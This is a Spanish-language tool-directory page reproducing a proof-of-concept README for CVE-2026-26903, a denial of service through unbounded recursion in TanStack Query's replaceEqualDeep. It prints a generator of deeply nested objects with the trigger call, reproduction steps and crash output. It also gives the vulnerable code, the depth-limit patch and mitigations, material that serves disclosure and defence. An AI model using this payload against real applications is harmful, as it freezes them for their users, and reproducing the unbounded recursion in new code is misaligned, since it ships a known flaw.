Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-26903-PoC — Una PoC para demostrar CVE-2026-26903 | Kitploit
Herramientas/GitHubGitHub/john-jung/cve-2026-26903-poc
Análisis de VulnerabilidadesExplotaciónSeguridad WebPapers e InvestigaciónAprendizaje y Educación
GitHubjohn-jung/cve-2026-26903-poc

CVE-2026-26903-PoC

Una PoC para demostrar CVE-2026-26903

Ver Repositorio
hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-26903 PoC

Denegación de servicio mediante recursión ilimitada en la función replaceEqualDeep de TanStack Query

Una única actualización de consulta manipulada con objetos profundamente anidados puede congelar el hilo de JavaScript indefinidamente, provocando que la aplicación quede completamente sin respuesta. No se requiere autenticación ni permisos especiales.

Versiones afectadas

Esta vulnerabilidad se corrigió en @tanstack/[email protected] mediante el PR #10032, publicado el 14 de enero de 2026.

PaqueteVersión afectadaVersión corregida
@tanstack/query-core<= 5.90.165.90.17
@tanstack/react-querydepende de query-core vulnerable5.90.18+
@tanstack/vue-querydepende de query-core vulnerable5.90.18+
@tanstack/solid-querydepende de query-core vulnerable5.90.18+
@tanstack/svelte-querydepende de query-core vulnerable6.1.7+

Descripción oficial

CVE-2026-26903: Denegación de servicio mediante recursión ilimitada en replaceEqualDeep (Gravedad: Media)

La función replaceEqualDeep de TanStack Query realiza una comparación recursiva de objetos anidados sin límites de profundidad. Al procesar estructuras de datos profundamente anidadas, esto puede desencadenar una recursión ilimitada que provoca desbordamiento de pila y congelación de la aplicación.

— Asignado a través de MITRE

Resumen de la vulnerabilidad

La función replaceEqualDeep de TanStack Query se utiliza internamente para determinar si los datos de una consulta han cambiado realmente, optimizando los re-renderizados al conservar las referencias a objetos cuando es posible. La función recorre recursivamente las propiedades de los objetos para realizar una comparación de igualdad profunda.

El problema

La implementación recursiva carece de límites de profundidad o detección de ciclos:

root@kitploit:~
function replaceEqualDeep(a, b) {
  // ... comprobaciones de tipo ...
  
  for (let i = 0; i < bSize; i++) {
    const key = array ? i : bItems[i];
    // ... comprobaciones de igualdad superficial ...
    
    // VULNERABLE: Recursión ilimitada aquí
    const v = replaceEqualDeep(a[key], b[key]);
    copy[key] = v;
    // ...
  }
  return copy;
}

Mecanismo de ataque

  1. Disparador: Cualquier actualización de consulta que pase por replaceEqualDeep con datos profundamente anidados
  2. Payload: Objetos anidados a más de 5.000 niveles de profundidad
  3. Impacto: Congelación inmediata del hilo de JavaScript, interfaz completamente sin respuesta
  4. Persistencia: La aplicación permanece congelada hasta que se recarga la página

Superficie de ataque

  • Directa: Hooks useQuery con datos de respuesta anidados
  • Indirecta: setQueryData, invalidateQueries o cualquier operación de caché de consultas
  • Lado del cliente: No se necesita intervención del servidor — DoS puramente del lado del cliente

Estructura del repositorio

root@kitploit:~
CVE-2026-26903-PoC/
├── README.md                 # Este archivo
├── LICENSE
├── poc.js                    # PoC de Node.js (caída por desbordamiento de pila)
└── tanstack-query-poc.html   # PoC de navegador (demo visual interactiva)

Pasos de reproducción

1. Clonar y configurar

root@kitploit:~
git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC

2. Ejecutar el PoC de Node.js (caída por desbordamiento de pila)

root@kitploit:~
node poc.js

3. Salida esperada

root@kitploit:~
Testing replaceEqualDeep with deep nesting...
 
Depth: 100
  OK - 0ms
 
Depth: 1000
  OK - 1ms
 
Depth: 5000
  CRASH - Maximum call stack size exceeded
 
Depth: 10000
  CRASH - Maximum call stack size exceeded

4. Ejecutar el PoC de navegador (demo visual interactiva)

root@kitploit:~
open tanstack-query-poc.html
  1. Verifica que la aplicación responde:
    • Haz clic en el botón del contador
    • Escribe en el campo de entrada
    • Observa el temporizador en tiempo real contando
  2. Dispara el DoS:
    • Haz clic en "TRIGGER DoS (10000 depth) - App Will Freeze"
    • Resultado: El temporizador se detiene, los botones dejan de responder y la página se congela

Pruebas detalladas

Opción A: Demo HTML independiente (sin dependencias)

root@kitploit:~
git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
open tanstack-query-poc.html

Opción B: Aplicación React (escenario realista)

root@kitploit:~
cd examples/react-app-poc
npm install
npm start
# Navega a http://localhost:3000 y sigue las instrucciones en pantalla

Comportamiento esperado

Antes del ataque:

  • El botón del contador incrementa
  • El temporizador en tiempo real se actualiza cada segundo
  • El campo de entrada responde a la escritura
  • Todas las interacciones de la interfaz funcionan con normalidad

Después del ataque:

  • El temporizador se congela en el valor actual
  • El botón del contador deja de responder
  • El campo de entrada deja de responder
  • La consola no muestra errores (el hilo está bloqueado, no ha fallado)
  • Única solución: Recargar la pestaña/ventana del navegador

Cómo funciona el exploit

El PoC genera objetos profundamente anidados y hace que replaceEqualDeep los procese:

1. Generación del payload

root@kitploit:~
function generateDeep(depth) {
  let obj = { value: 'end' };
  for (let i = 0; i < depth; i++) {
    obj = { nested: obj };
  }
  return obj;
}

// Crea: { nested: { nested: { nested: ... { value: 'end' } } } }

2. Disparo del ataque

root@kitploit:~
const oldData = generateDeep(10000);  // 10.000 niveles de profundidad
const newData = generateDeep(10000);  // Objeto diferente, misma estructura

// Esto provoca recursión ilimitada:
replaceEqualDeep(oldData, newData);

3. Cadena de recursión

root@kitploit:~
replaceEqualDeep(obj1, obj2)
├── replaceEqualDeep(obj1.nested, obj2.nested)     // Nivel 1
    ├── replaceEqualDeep(obj1.nested.nested, ...)  // Nivel 2
        ├── replaceEqualDeep(...)                   // Nivel 3
            └── ... (continúa durante 10.000 niveles)

Cada llamada recursiva añade un nuevo marco de pila hasta que la pila de llamadas del motor de JavaScript se agota, congelando el hilo.

Código vulnerable

Ubicación: @tanstack/query-core/src/utils.ts (aproximada)

root@kitploit:~
export function replaceEqualDeep(a, b) {
  if (a === b) {
    return a;
  }

  const array = isPlainArray(a) && isPlainArray(b);

  if (!array && !(isPlainObject(a) && isPlainObject(b))) {
    return b;
  }

  const aItems = array ? a : Object.keys(a);
  const aSize = aItems.length;
  const bItems = array ? b : Object.keys(b);
  const bSize = bItems.length;
  const copy = array ? new Array(bSize) : {};

  let equalItems = 0;

  for (let i = 0; i < bSize; i++) {
    const key = array ? i : bItems[i];

    if (a[key] === b[key]) {
      copy[key] = a[key];
      equalItems++;
      continue;
    }

    if (
      a[key] === null ||
      b[key] === null ||
      typeof a[key] !== 'object' ||
      typeof b[key] !== 'object'
    ) {
      copy[key] = b[key];
      continue;
    }

    // VULNERABLE: Sin límite de profundidad ni detección de ciclos
    const v = replaceEqualDeep(a[key], b[key]);
    copy[key] = v;

    if (v === a[key]) {
      equalItems++;
    }
  }

  return aSize === bSize && equalItems === aSize ? a : copy;
}

Parche

La corrección (aplicada en el commit 269351b de TanStack Query) añade un límite de profundidad para evitar la recursión ilimitada:

root@kitploit:~
- export function replaceEqualDeep<T>(a: unknown, b: T): T
- export function replaceEqualDeep(a: any, b: any): any {
+ export function replaceEqualDeep<T>(a: unknown, b: T, depth?: number): T
+ export function replaceEqualDeep(a: any, b: any, depth = 0): any {
   if (a === b) {
     return a
   }
 
+  if (depth > 500) return b
+
   const array = isPlainArray(a) && isPlainArray(b)
 
   if (!array && !(isPlainObject(a) && isPlainObject(b))) return b
   
   // ... sección intermedia sin cambios ...
   
-    const v = replaceEqualDeep(aItem, bItem)
+    const v = replaceEqualDeep(aItem, bItem, depth + 1)
     copy[key] = v
     if (v === aItem) equalItems++

Cambios clave:

  1. Se añadió el parámetro depth con valor predeterminado 0 para rastrear la profundidad de la recursión
  2. Se añadió la comprobación del límite de profundidad — devuelve b inmediatamente si depth > 500
  3. Se incrementa la profundidad en las llamadas recursivas — replaceEqualDeep(aItem, bItem, depth + 1)

Esta corrección sencilla evita el desbordamiento de pila y, al mismo tiempo, permite un anidamiento razonable (500 niveles es más que suficiente para estructuras de datos del mundo real).

Mitigación

Soluciones temporales

  1. Aplanar los datos profundamente anidados antes de pasarlos a TanStack Query
  2. Implementar funciones de comparación personalizadas con límites de profundidad
  3. Supervisar la complejidad de los datos de consulta durante el desarrollo

Solución definitiva

Implementar un límite de profundidad en replaceEqualDeep:

root@kitploit:~
function replaceEqualDeep(a, b, depth = 0) {
  if (depth > MAX_DEPTH) return b; // Evita la recursión profunda
  if (a === b) return a;
  
  // ... lógica existente ...
  
  const v = replaceEqualDeep(a[key], b[key], depth + 1);
  
  // ... resto de la función
}

O usar un recorrido iterativo en lugar de recursión.

Referencias

  • Aviso de seguridad de GitHub

Descargo de responsabilidad

Esta prueba de concepto se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. Úsala de forma responsable y solo contra aplicaciones de tu propiedad o para las que tengas permiso explícito de prueba. Los autores no son responsables del mal uso de esta información.

Descargar herramienta